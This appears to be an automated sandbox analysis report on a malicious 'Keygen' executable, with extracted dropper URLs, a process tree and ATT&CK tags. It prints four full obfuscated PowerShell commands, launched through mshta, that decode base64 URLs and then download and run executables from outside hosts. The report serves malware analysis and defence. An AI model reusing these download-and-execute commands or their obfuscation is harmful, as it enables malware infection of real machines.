3a27b002eab25417e6ef4cdeb35edd40755a0a20f6c701842f10bfa9448e5c89

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
14s
max time network
170s
platform
windows7_x64
resource
win7
submitted
02-10-2020 21:14

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Report Analysis Logs

General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (118) — копия.exe

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Signatures

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

1840 Keygen.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1524 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1816 timeout.exe
1964 timeout.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

1840 Keygen.exe

pid	process
1840	Keygen.exe

pid	process
1524	cmd.exe

pid	process
1816	timeout.exe
1964	timeout.exe

pid	process
1840	Keygen.exe

Suspicious use of WriteProcessMemory 56 IoCs

Processes:

Keygen — копия (118) — копия.execmd.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1420 wrote to memory of 1524	1420	Keygen — копия (118) — копия.exe	cmd.exe
PID 1420 wrote to memory of 1524	1420	Keygen — копия (118) — копия.exe	cmd.exe
PID 1420 wrote to memory of 1524	1420	Keygen — копия (118) — копия.exe	cmd.exe
PID 1420 wrote to memory of 1524	1420	Keygen — копия (118) — копия.exe	cmd.exe
PID 1524 wrote to memory of 1840	1524	cmd.exe	Keygen.exe
PID 1524 wrote to memory of 1840	1524	cmd.exe	Keygen.exe
PID 1524 wrote to memory of 1840	1524	cmd.exe	Keygen.exe
PID 1524 wrote to memory of 1840	1524	cmd.exe	Keygen.exe
PID 1524 wrote to memory of 1888	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1888	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1888	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1888	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1368	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1368	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1368	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1368	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1816	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1816	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1816	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1816	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1656	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1656	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1656	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1656	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1548	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1548	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1548	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1548	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1964	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1964	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1964	1524	cmd.exe	timeout.exe
PID 1524 wrote to memory of 1964	1524	cmd.exe	timeout.exe
PID 1368 wrote to memory of 1932	1368	mshta.exe	powershell.exe
PID 1368 wrote to memory of 1932	1368	mshta.exe	powershell.exe
PID 1368 wrote to memory of 1932	1368	mshta.exe	powershell.exe
PID 1368 wrote to memory of 1932	1368	mshta.exe	powershell.exe
PID 1888 wrote to memory of 1988	1888	mshta.exe	powershell.exe
PID 1888 wrote to memory of 1988	1888	mshta.exe	powershell.exe
PID 1888 wrote to memory of 1988	1888	mshta.exe	powershell.exe
PID 1888 wrote to memory of 1988	1888	mshta.exe	powershell.exe
PID 1656 wrote to memory of 692	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 692	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 692	1656	mshta.exe	powershell.exe
PID 1656 wrote to memory of 692	1656	mshta.exe	powershell.exe
PID 1548 wrote to memory of 472	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 472	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 472	1548	mshta.exe	powershell.exe
PID 1548 wrote to memory of 472	1548	mshta.exe	powershell.exe
PID 1524 wrote to memory of 624	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 624	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 624	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 624	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1292	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1292	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1292	1524	cmd.exe	mshta.exe
PID 1524 wrote to memory of 1292	1524	cmd.exe	mshta.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (118) — копия.exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (118) — копия.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1420

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\4422.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (118) — ?????.exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1524

C:\Users\Admin\AppData\Local\Temp\4422.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1840

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\m.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1888

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1988

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1368

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:1932

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1816

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1656

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:692

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1548

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
PID:472

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1964

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\ba.hta"
3⤵
PID:624

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\4422.tmp\ba1.hta"
3⤵
PID:1292

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\4422.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\4422.tmp\start.bat

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

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\Users\Admin\AppData\Local\Temp\4422.tmp\Keygen.exe

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memory/472-20-0x0000000000000000-mapping.dmp

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memory/624-29-0x0000000000000000-mapping.dmp

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memory/692-19-0x0000000000000000-mapping.dmp

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memory/1292-31-0x0000000000000000-mapping.dmp

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memory/1368-10-0x0000000000000000-mapping.dmp

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memory/1524-0-0x0000000000000000-mapping.dmp

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memory/1548-15-0x0000000000000000-mapping.dmp

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memory/1656-13-0x0000000000000000-mapping.dmp

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memory/1816-11-0x0000000000000000-mapping.dmp

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memory/1840-5-0x0000000000000000-mapping.dmp

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memory/1840-4-0x0000000000000000-mapping.dmp

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memory/1888-8-0x0000000000000000-mapping.dmp

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memory/1932-17-0x0000000000000000-mapping.dmp

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memory/1964-16-0x0000000000000000-mapping.dmp

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memory/1988-18-0x0000000000000000-mapping.dmp

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